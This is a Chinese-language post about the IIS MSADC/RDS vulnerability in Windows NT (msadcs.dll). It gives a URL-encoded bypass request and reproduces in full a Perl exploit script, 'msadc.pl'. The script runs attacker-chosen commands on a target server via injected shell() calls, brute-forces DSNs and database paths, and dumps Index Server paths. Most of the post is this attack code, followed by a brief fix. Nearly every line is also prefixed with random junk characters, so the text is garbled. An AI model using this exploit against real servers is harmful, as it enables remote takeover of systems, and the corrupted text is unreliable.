IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3ms{gZbw jHpFl4VPz 涉及程序：
YCu9dBeVS Microsoft NT server
2@a]x( Hv .C5mo 描述：
8EAkM*D w 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?Q/9aqHe; 0
hS(9y40 详细：
Jc, { n* 如果你没有时间读详细内容的话，就删除:
so }Kb3 n c:\Program Files\Common Files\System\Msadc\msadcs.dll
QW6\~l 4 有关的安全问题就没有了。
Qi Q O>r 'fIirGOl 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
3QD##Wr^ $jNp-5+Q; 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
n##d!d |g 关于利用ODBC远程漏洞的描述，请参看:
|d=MX>i|G ns9a+QQ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm j :J{m0 bId@V[9 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
, XmyC7y< http://www.microsoft.com/security/bulletins/MS99-025faq.asp '>"-e'1m( 5:~BGK&{ Y 这里不再论述。
m'ykDK\B *m`KY)b=l 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Auf2JH~ jl~?I*Gr /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
wE J?Y8 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
zIgD R J(%kcueb
|T^c(RpOE #将下面这段保存为txt文件，然后: "perl -x 文件名"
*8j2i u-| P]||Xbbp #!perl
X00! @
^g #
w|WehNGr # MSADC/RDS 'usage' (aka exploit) script
b+ J) #
Vq1v e;(8s # by rain.forest.puppy
k c-v(WIC #
G9P)Y#WB # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
nK5FP Fz8 # beta test and find errors!
&[ 4lP~ K(B|o6[ use Socket; use Getopt::Std;
gv,8Wo getopts("e:vd:h:XR", \%args);
:,BKB*a\ l*z.20^P print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
>6"u{Qmr q$ 6 Tb if (!defined $args{h} && !defined $args{R}) {
-P|st;?# print qq~
6zJfsKf$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
-VlXZj@u+ -h <host> = host you want to scan (ip or domain)
isR|K9qf^ -d <seconds> = delay between calls, default 1 second
'{xPdN -X = dump Index Server path table, if available
$E]W U?U -v = verbose
7iBN!"G0 -e = external dictionary file for step 5
p@+r&Mg%W" a'2^ kds Or a -R will resume a command session
CN, oH4IU ]:vo"{*C ~; exit;}
'vU x4s ^z\*;
f $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
%wuD4PRK if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"iY=1F"\R if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
.#ASo!O5q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
hIv8A_>@` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
I,d5Y3mC if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
FOx&'dH %@ O$,MdhyX C if (!defined $args{R}){ $ret = &has_msadc;
>|@ i8?|E die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~i y]X:U ?#0 |A?U print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0O:')R& . "cmd /c ";
D<d4"*qo $in=<STDIN>; chomp $in;
O#962\ $command="cmd /c " . $in ;
y}t1r |p hbg:}R=B< if (defined $args{R}) {&load; exit;}
$D)Ajd; MF["-GvP/ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
oyeJ"E2 &try_btcustmr;
4]18=?r> Dw6mSsC/ print "\nStep 2: Trying to make our own DSN...";
_w KaFf &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
oe{K0.` nVt,= ?_ U print "\nStep 3: Trying known DSNs...";
U4*Q;A# &known_dsn;
^*=.Vuqy 08TeGUjJ print "\nStep 4: Trying known .mdbs...";
yMoV|U6 &known_mdb;
P 4|p[V8 GnzKDDH
' if (defined $args{e}){
')m R87 print "\nStep 5: Trying dictionary of DSN names...";
jA}b=c &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
U2D2?# V" `t*m$ print "Sorry Charley...maybe next time?\n";
at-+%e exit;
z[`O YwsW -]K9sy)I ##############################################################################
FELDz7DYya 3</gK$f2 sub sendraw { # ripped and modded from whisker
H${5pY_M sleep($delay); # it's a DoS on the server! At least on mine...
Ghb Jty` my ($pstr)=@_;
J>XMaI})U socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%2j R J die("Socket problems\n");
Dxlpo!
? # if(connect(S,pack "SnA4x8",2,80,$target)){
A3 |hFk select(S); $|=1;
:_f5(N*{5o print $pstr; my @in=<S>;
Y 3 QrD&V select(STDOUT); close(S);
2aR <xcSg return @in;
c?0.>^,B Q } else { die("Can't connect...\n"); }}
aF41?.s ,p\ :Z3{ZH ##############################################################################
Adma~]T9 L"
GQ Q sub make_header { # make the HTTP request
=W_Pph my $msadc=<<EOT
k:qS' POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
G (o9*m1 User-Agent: ACTIVEDATA
/eO :1c
Host: $ip
r$
8 ^K\oF Content-Length: $clen
>{HQ"{Q Connection: Keep-Alive
3 \B 28m 4 ru-qF ADCClientVersion:01.06
x<fF1]; Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
KW1b #g%Z }@XokRk --!ADM!ROX!YOUR!WORLD!
JE<w7:R& Content-Type: application/x-varg
Sbp].3^j Content-Length: $reqlen
W:gpcR]> fZ5zsm' N EOT
8h%oJ4da ; $msadc=~s/\n/\r\n/g;
4Nun-(q return $msadc;}
_ / >JM0 #{ DX*;1m ##############################################################################
u9zEhfg8 5Y(<T~ sub make_req { # make the RDS request
Bgvv6(i my ($switch, $p1, $p2)=@_;
L
HW\A8 my $req=""; my $t1, $t2, $query, $dsn;
1X pG7 n Uy. gAb if ($switch==1){ # this is the btcustmr.mdb query
o#~Lb9`@U $query="Select * from Customers where City=" . make_shell();
8%ea(|Wjg $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
(& UQ^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
F!_8?=| ``?79 MJ5 elsif ($switch==2){ # this is general make table query
Nm7YH@x*o $query="create table AZZ (B int, C varchar(10))";
Z)^1~!w0 $dsn="$p1";}
l{o,"P" LpYG!K l elsif ($switch==3){ # this is general exploit table query
{T L.2 $query="select * from AZZ where C=" . make_shell();
[(rT,31cW $dsn="$p1";}
`]7==c #Y ?bH&F elsif ($switch==4){ # attempt to hork file info from index server
m 0 Geq. $query="select path from scope()";
}nUq=@ej $dsn="Provider=MSIDXS;";}
SYE+A`a 2t[P-on elsif ($switch==5){ # bad query
A+w'quXn $query="select";
}B e;YIhG $dsn="$p1";}
h0O t>e" ZO#f )>s2 $t1= make_unicode($query);
E#!tXO&, $t2= make_unicode($dsn);
kfV}ta'^S $req = "\x02\x00\x03\x00";
.<Rw16 O $req.= "\x08\x00" . pack ("S1", length($t1));
qeUT]*
w $req.= "\x00\x00" . $t1 ;
QJ,[K _ $req.= "\x08\x00" . pack ("S1", length($t2));
5(=5GkE)> $req.= "\x00\x00" . $t2 ;
9,wD $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
4^Y{ BS fF return $req;}
teKx^ 'c' *671MJ 9 ##############################################################################
@=sM' )f& 2<FEn$n[ sub make_shell { # this makes the shell() statement
OU
esL9 return "'|shell(\"$command\")|'";}
{ MV,>T_ ?Qxf~,F ##############################################################################
F Mi:2.E vvI23!H sub make_unicode { # quick little function to convert to unicode
2Onp{,'} my ($in)=@_; my $out;
:o 8XG for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
S54q?sb_ return $out;}
TtQ'I}7q 2 O
2HmL ##############################################################################
21$E.x 6 ;=p3L<~c`K sub rdo_success { # checks for RDO return success (this is kludge)
![i)_XO my (@in) = @_; my $base=content_start(@in);
$ *Kr4vh if($in[$base]=~/multipart\/mixed/){
Yu$QL@ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6Hp+?mmh return 0;}
>t_h /:JZ) " 2~L ##############################################################################
_70Z1_ ; R*=88ds sub make_dsn { # this makes a DSN for us
^6On^k[|fw my @drives=("c","d","e","f");
F )Iz: print "\nMaking DSN: ";
02_+{vk! foreach $drive (@drives) {
mCyn : + print "$drive: ";
D3B] my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
45?% D} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
yA iO._U . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
j'k
< $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
jsFfrS"* return 0 if $2 eq "404"; # not found/doesn't exist
jF}-dfe if($2 eq "200") {
L^jjf8_ foreach $line (@results) {
Vw|P;LLl` return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
M#_ |WL~ } return 0;}
F8S>L d \%|Xf[AX ##############################################################################
PjD9D. i\,I)S%yJ sub verify_exists {
q6,z 1A" my ($page)=@_;
|h?2~D!+d
my @results=sendraw("GET $page HTTP/1.0\n\n");
n$F~ return $results[0];}
Fw S>V2R \xlG 3nz ##############################################################################
M!46^q~- L>h|1ZK sub try_btcustmr {
N;`/>R4|I my @drives=("c","d","e","f");
g/FZ?Wo my @dirs=("winnt","winnt35","winnt351","win","windows");
kH5D%`Kw ?<`oKBn foreach $dir (@dirs) {
:h(` eC print "$dir -> "; # fun status so you can see progress
)q66^% ;S foreach $drive (@drives) {
Cz)&R^ print "$drive: "; # ditto
s+? 2oPa $reqlen=length( make_req(1,$drive,$dir) ) - 28;
gBky ZK $reqlenlen=length( "$reqlen" );
n y
cn $clen= 206 + $reqlenlen + $reqlen;
<iA\ZS: %q}[ZD/HD my @results=sendraw(make_header() . make_req(1,$drive,$dir));
}v's>Ae~p if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
2Rt6)hgY else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
1uO2I&B AhD C5ue= ##############################################################################
jU $G<G sH.=Fao s sub odbc_error {
_jc_(;KPF my (@in)=@_; my $base;
V)5K/ U{ my $base = content_start(@in);
rlaeqG if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
W6Mq:?+ D $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'4nJ*X a $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&JXb ) W $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ME$J4 2 return $in[$base+4].$in[$base+5].$in[$base+6];}
i y8J l print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
0,nz*UDk print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
- V:HT
j $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
f1]zsn: @0 'U
p ##############################################################################
'Oj 1@0*0 TF%Xb>jy[ sub verbose {
X@"G1j >/ my ($in)=@_;
mU]VFPr5 return if !$verbose;
[ /YuI@C,@ print STDOUT "\n$in\n";}
\ )=WA! xora fL ##############################################################################
{fnx=BaG W| D
kq sub save {
m`l9d4p
w? my ($p1, $p2, $p3, $p4)=@_;
x9,jX d open(OUT, ">rds.save") || print "Problem saving parameters...\n";
.[ }G{%M~[ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
z)S6f79`Q close OUT;}
f"KrPx!^b +U1
Ir5Lx ##############################################################################
a% e` hbOXR.0z sub load {
Z4EmRa30 p my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
veHe
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
w`;HwK$ , @p=<IN>; close(IN);
fz\Q>u'T $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
UXlZI'|He $target= inet_aton($ip) || die("inet_aton problems");
}b1FB<e] print "Resuming to $ip ...";
":_II[FPY $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
IH;sVT $M if($p[1]==1) {
p"#\E0GM $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
`0N7G c $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
J Cq>; br. my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
<(q(5jG if (rdo_success(@results)){print "Success!\n";}
]'`E else { print "failed\n"; verbose(odbc_error(@results));}}
m/1FVC@* elsif ($p[1]==3){
b?l>vUgAg if(run_query("$p[3]")){
GPGE7X' print "Success!\n";} else { print "failed\n"; }}
[Q0V 5P~Q' elsif ($p[1]==4){
v ! 8=B21 if(run_query($drvst . "$p[3]")){
t& xoi7!$ print "Success!\n"; } else { print "failed\n"; }}
8 ECX[fw exit;}
&yvvea] H.m]Dm,z ##############################################################################
|ZL?P qki u MEM7$o sub create_table {
vY-CXWC 7 my ($in)=@_;
\ dFE.4 $reqlen=length( make_req(2,$in,"") ) - 28;
0k5 -S~_\ $reqlenlen=length( "$reqlen" );
o GRk/@ $clen= 206 + $reqlenlen + $reqlen;
=nGFLH6) my @results=sendraw(make_header() . make_req(2,$in,""));
HbegdbTJ return 1 if rdo_success(@results);
!1G
KpL my $temp= odbc_error(@results); verbose($temp);
BYB4- , return 1 if $temp=~/Table 'AZZ' already exists/;
$G-<kC}8: return 0;}
KGY bPty} 4LKpEl.= ##############################################################################
:Ln)j% & T@tsM|pI sub known_dsn {
(T _-`N| # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
hO ]F\0 + my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
3uocAmY "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
z.I c?Wz7 "banner", "banners", "ads", "ADCDemo", "ADCTest");
bGCC?}\ ==OU d6e} foreach $dSn (@dsns) {
>jX " print ".";
&t^* 0/~ next if (!is_access("DSN=$dSn"));
-67Z!N if(create_table("DSN=$dSn")){
UDh \%?j print "$dSn successful\n";
&{V |%u}v if(run_query("DSN=$dSn")){
gS5R EC4I/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!?nO0Ao-$ print "Something's borked. Use verbose next time\n";}}} print "\n";}
Hw o _;fV LUbj^iQ9 ##############################################################################
DjM*U52Yfj sfyLG3 $/ sub is_access {
NX& d J
6a my ($in)=@_;
He(65ciT<O $reqlen=length( make_req(5,$in,"") ) - 28;
Jy)=TJ!y $reqlenlen=length( "$reqlen" );
w' K7$F51 $clen= 206 + $reqlenlen + $reqlen;
i%-yR DIX my @results=sendraw(make_header() . make_req(5,$in,""));
Q>, &@ my $temp= odbc_error(@results);
Hz.i $ L0} verbose($temp); return 1 if ($temp=~/Microsoft Access/);
t1Fqq4wRi return 0;}
xoKK{&J 7GOBb | ##############################################################################
-G.N ]p`y sub run_query {
rGP;0KtQ my ($in)=@_;
G*I $reqlen=length( make_req(3,$in,"") ) - 28;
dd $reqlenlen=length( "$reqlen" );
V: D;? $Jl $clen= 206 + $reqlenlen + $reqlen;
"V' r}> my @results=sendraw(make_header() . make_req(3,$in,""));
&DWSf`:Hx return 1 if rdo_success(@results);
LDr?'M!D my $temp= odbc_error(@results); verbose($temp);
e *2^ return 0;}
'2.ey33V AioW*`[WjA ##############################################################################
ij$NTY=u ubM1Q r sub known_mdb {
5@2Rl>B$ my @drives=("c","d","e","f","g");
2Mt$Dah my @dirs=("winnt","winnt35","winnt351","win","windows");
,Z~`aH hr my $dir, $drive, $mdb;
gAD f9x"b my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
|*NLWN.ja) |dgiW"tUm # this is sparse, because I don't know of many
F9
r5 Z my @sysmdbs=( "\\catroot\\icatalog.mdb",
] 0X|_bU "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
wH ,PA: "\\system32\\certmdb.mdb",
Pvc)-A "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
gD9CA* -TF}, V~ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
N;3!oo4 "\\cfusion\\cfapps\\forums\\forums_.mdb",
sfX~X/ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
uOA/r@7I}S "\\cfusion\\cfapps\\security\\realm_.mdb",
k+9F;p7 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
uppa`addK "\\cfusion\\database\\cfexamples.mdb",
VW*%q0i- "\\cfusion\\database\\cfsnippets.mdb",
CtCReH03 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
nnyT,e% "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
v#?DWeaFS_ "\\cfusion\\brighttiger\\database\\cleam.mdb",
?{ )'O+s "\\cfusion\\database\\smpolicy.mdb",
;0dH@b "\\cfusion\\database\cypress.mdb",
&V?+Y2 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
nLm 'a_ "\\website\\cgi-win\\dbsample.mdb",
ZWCsrV*; "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
PEI$1,z "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{N2GRF~c-y ); #these are just
}k VC ]+ foreach $drive (@drives) {
}dN\bb {# foreach $dir (@dirs){
tx5bmF;b) foreach $mdb (@sysmdbs) {
xw8k<` print ".";
~rV $.:%va if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
g$uiwqNA% print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
+y wz@ 0nx if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
b$'%)\( 'g print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
5 ;XC!Gz } else { print "Something's borked. Use verbose next time\n"; }}}}}
%$& eC ?ES{t4" foreach $drive (@drives) {
>V^8<^?G foreach $mdb (@mdbs) {
R|RGoGE6g print ".";
MGF !ZZ\ if(create_table($drv . $drive . $dir . $mdb)){
? X8`+`nh print "\n" . $drive . $dir . $mdb . " successful\n";
x<l 5wh if(run_query($drv . $drive . $dir . $mdb)){
&u:U"j print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
spA|[\Nl } else { print "Something's borked. Use verbose next time\n"; }}}}
96\FJHt Z }
$*{,Z<|2 <sC(a7i1 ##############################################################################
fQ 9af)d )zWu\ JRp sub hork_idx {
xQZOGq print "\nAttempting to dump Index Server tables...\n";
%1{S{FB print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
q?j7bp] $reqlen=length( make_req(4,"","") ) - 28;
M EI&]qI $reqlenlen=length( "$reqlen" );
RhJ 3>DL $clen= 206 + $reqlenlen + $reqlen;
&3iI\s[ my @results=sendraw2(make_header() . make_req(4,"",""));
()|e
xWW if (rdo_success(@results)){
aUMiRm- my $max=@results; my $c; my %d;
cUug}/!I for($c=19; $c<$max; $c++){
!\'w>y7 $results[$c]=~s/\x00//g;
d[h=<?E5 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
e fyEzL $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
>(2;(TbQm0 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
q}_8i DO6 $d{"$1$2"}="";}
OkRb3} foreach $c (keys %d){ print "$c\n"; }
gkK(7=r% } else {print "Index server doesn't seem to be installed.\n"; }}
:tV"uWZFU bzG vnaTt ##############################################################################
J)g
+I /[Nkk)8- sub dsn_dict {
e[fld,s open(IN, "<$args{e}") || die("Can't open external dictionary\n");
i`i`Hu> while(<IN>){
htYfIy{5 w $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=4)8a"7#. next if (!is_access("DSN=$dSn"));
/*g0M2+OZo if(create_table("DSN=$dSn")){
`V/kM0A5 print "$dSn successful\n";
#IppjaPl8 if(run_query("DSN=$dSn")){
VN-0hw/A print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.\`M oH print "Something's borked. Use verbose next time\n";}}}
tuH#Cy print "\n"; close(IN);}
v1$ }[&/ \&d1bq ##############################################################################
lGet)/w;c ZW))Mx#K=T sub sendraw2 { # ripped and modded from whisker
E7$ aT^ sleep($delay); # it's a DoS on the server! At least on mine...
vo#$xwm1 my ($pstr)=@_;
\ $TM=Ykj socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
T pCXe\ W die("Socket problems\n");
rE "FN~9P if(connect(S,pack "SnA4x8",2,80,$target)){
^E,
#}cW print "Connected. Getting data";
l )r^|9{ open(OUT,">raw.out"); my @in;
0]ai*\,W7~ select(S); $|=1; print $pstr;
sfVzVS[ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
`_&vvJPn@! close(OUT); select(STDOUT); close(S); return @in;
yodhDSO5i } else { die("Can't connect...\n"); }}
Zc";R!At Nl4uQ_" ##############################################################################
.D7Gog3^< #}6~>A sub content_start { # this will take in the server headers
L]YJ#5 my (@in)=@_; my $c;
E\2 f"s for ($c=1;$c<500;$c++) {
% M_F/ O if($in[$c] =~/^\x0d\x0a/){
kJ* N`= if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
An]Vx<PD else { return $c+1; }}}
-R9{Ak return -1;} # it should never get here actually
UnDX .W*2 ;qzn _W ##############################################################################
e9\_H=t+ YPs9Pqkn sub funky {
:S`12*_g" my (@in)=@_; my $error=odbc_error(@in);
{_>XsB if($error=~/ADO could not find the specified provider/){
1< b~=" print "\nServer returned an ADO miscofiguration message\nAborting.\n";
mJ8EiRSE exit;}
HII@Ed f? if($error=~/A Handler is required/){
uEsF 8 print "\nServer has custom handler filters (they most likely are patched)\n";
_or_Vw! exit;}
g6gwNC:aF if($error=~/specified Handler has denied Access/){
KfK5e{yT print "\nServer has custom handler filters (they most likely are patched)\n";
t%y
i3 exit;}}
-{oZK{a1 H H3Z?g ##############################################################################
f4`Nws-dP [+@T"2h2b sub has_msadc {
P e}
T my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
z3^gufOkQ my $base=content_start(@results);
>of9m return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
CTqhXk[ return 0;}
&i805,lx ?J| ########################
_Kli~$c& M p=[I;U-#H Eb'M< ZY 解决方案：
t@2MEo 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
5HB* 2、移除web 目录: /msadc
